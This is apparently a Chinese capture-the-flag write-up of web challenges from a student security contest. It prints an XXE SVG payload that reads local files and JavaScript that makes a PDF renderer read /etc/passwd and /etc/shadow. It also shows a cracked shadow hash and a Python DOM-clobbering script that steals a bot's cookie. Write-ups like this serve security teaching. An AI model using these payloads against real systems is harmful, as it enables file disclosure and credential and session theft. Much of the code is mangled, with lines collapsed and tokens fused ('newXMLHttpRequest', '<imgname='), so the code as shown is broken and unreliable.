<?xml version="1.0"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag">]> <svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200"> <data>&xxe;</data> </svg>
有返回图片
对payload改造一下
<?xml version="1.0"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag">]><svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200"> <text x="20" y="100" font-size="40" fill="red">&xxe;</text></svg>
SYC{Go0dSVGworK}
PDF Viewer
可以看到有一个管理员登录。爆破一下,没爆破出来。那大概率就是要登录了,密码需要读取
这里我们可以用JavaScript发送ajax请求
<!DOCTYPE html><html><head><script> window.onload= () =>{ const content =document.getElementById('content'); const xhr =newXMLHttpRequest(); xhr.open('GET','file:///etc/passwd',false); xhr.send(); content.textContent=xhr.responseText||'Failed to read';};</script></head><body><h1>/etc/passwd</h1><pre id="content" style="font: 10px monospace;"></pre></body></html>
成功读取到/etc/passwd 再读一下/etc/shadow
<!DOCTYPE html><html><head><script> window.onload= () =>{ const content =document.getElementById('content'); const xhr =newXMLHttpRequest(); xhr.open('GET','file:///etc/shadow',false); xhr.send(); content.textContent=xhr.responseText||'Failed to read';};</script></head><body><h1>/etc/shadow</h1><pre id="content" style="font: 10px monospace;"></pre></body></html>
$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.
join爆破一下 qwerty
WeakPassword_Admin/qwerty 然后进行登录
得到flag
Xross The Doom
题目提示用了DOMPurify
function buildTarget(base, sub) {const parts = (base + '/' + (sub || '')).split('/');const stack = [];for (const seg of parts) {if (seg === '..') {if (stack.length) stack.pop();} else if (seg && seg !== '.') {stack.push(seg);}}return '/' + stack.join('/');}
上面是关键代码
•先将base 和sub 拼接成一个字符串(如果sub 为空则只保留base),拼接时用/ 分隔。
•再用split(‘/’) 将拼接后的路径按/ 拆分成数组(路径片段)。
示例:
若base = ‘/a/b’,sub = ‘../c’,则拼接后为/a/b/../c,拆分后parts = [”, ‘a’, ‘b’, ‘..’, ‘c’]。
•使用栈(stack)存储规范化后的路径片段,遍历拆分后的parts 数组:
–遇到..:表示要回到上级目录,若栈中有元素(即有上级目录),则弹出栈顶元素。
–遇到. 或空字符串:.(当前目录) 不影响路径,空字符串(如// 拆分后产生)也忽略。
–其他情况(有效目录名):直接推入栈中。
示例(接上面的例子):
parts = [”, ‘a’, ‘b’, ‘..’, ‘c’] 遍历过程:
–” → 忽略(空字符串)
–’a’ → 推入栈 → stack = [‘a’]
–’b’ → 推入栈 → stack = [‘a’, ‘b’]
–’..’ → 弹出栈顶 → stack = [‘a’]
–’c’ → 推入栈 → stack = [‘a’, ‘c’]
import requestsimport jsonimport timeimport sysimport ioif sys.stdout.encoding != 'utf-8':sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')TARGET_URL = "http://019a7732-3fbf-7898-8582-f029745e96b5.geek.ctfplus.cn/"# 构造攻击载荷,利用路径遍历和无 value 属性元素特性attack_payloads = [('''<img name="AUTO_SHARE"><form name="CONFIG_PATH" action="../log"></form><imgname="CONFIG_COOKIE_DEBUG">''', "Img 标签(name 属性)+路径遍历"),('''<a name="AUTO_SHARE"></a><form name="CONFIG_PATH" action="../log"></form><aname="CONFIG_COOKIE_DEBUG"></a>''', "A 标签(name 属性)+路径遍历"),('''<a id="AUTO_SHARE"></a><form id="CONFIG_PATH" action="../log"></form><aid="CONFIG_COOKIE_DEBUG"></a>''', "A 标签(id 属性)+路径遍历"),('''<img id="AUTO_SHARE"><form id="CONFIG_PATH" action="../log"></form><imgid="CONFIG_COOKIE_DEBUG">''', "Img 标签(id 属性)+路径遍历")]def execute_attack(payload, desc):print(f"\n{60 * '='}")print(f"测试项: {desc}")print(f"攻击载荷: {payload}")print(f"{60 * '='}")try:# 构建请求数据post_data = {"title": f"路径遍历测试: {desc}","content": payload}# 创建帖子create_resp = requests.post(f"{TARGET_URL}/api/posts",json=post_data,timeout=15)if create_resp.status_code != 200:print(f"[-] 帖子创建失败,状态码: {create_resp.status_code}")return Nonecreate_result = create_resp.json()if 'id' not in create_result:print(f"[-] 帖子创建失败,返回数据: {create_result}")return Nonepost_identifier = create_result['id']print(f"[+] 帖子创建成功,ID: {post_identifier}")# 触发机器人访问print(f"[*] 正在触发机器人访问...")bot_resp = requests.get(f"{TARGET_URL}/bot",params={"id": post_identifier},timeout=15)bot_result = bot_resp.json()print(f"机器人响应: {bot_result}")# 等待机器人执行操作print("[*] 等待机器人处理...")time.sleep(4)# 获取日志信息logs_resp = requests.get(f"{TARGET_URL}/logs", timeout=15)logs_result = logs_resp.json()log_entries = logs_result.get('logs', [])if log_entries:print(f"[+] 发现 {len(log_entries)} 条日志记录")# 检查最近 5 条日志for idx, entry in enumerate(log_entries[-5:], 1):entry_cookie = entry.get('cookie', '')entry_ua = entry.get('ua', '')entry_time = entry.get('time', '')print(f" [{idx}] 时间: {entry_time}")print(f" 浏览器标识: {entry_ua[:80]}...")if entry_cookie:print(f" Cookie 信息: {entry_cookie}")# 检查是否包含 FLAGif 'FLAG' in entry_cookie or 'flag' in entry_cookie.lower():print(f"\n[!!!] 发现 FLAG! {entry_cookie}\n")return entry_cookieelse:print("[-] 未找到日志记录")except Exception as err:print(f"[-] 发生错误: {err}")import tracebacktraceback.print_exc()return Noneif __name__ == "__main__":print(f"[*] 开始路径遍历攻击测试: {TARGET_URL}\n")for payload, payload_name in attack_payloads:found_flag = execute_attack(payload, payload_name)if found_flag:print(f"\n[!!!] 成功获取 FLAG: {found_flag}\n")sys.exit(0)time.sleep(2)print("\n[-] 所有攻击载荷测试均失败")
OnePandaSec团队交流群,欢迎网络安全爱好者加入
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OnePanda-Sec chenzi《第十六届极客大挑战 web题型WP》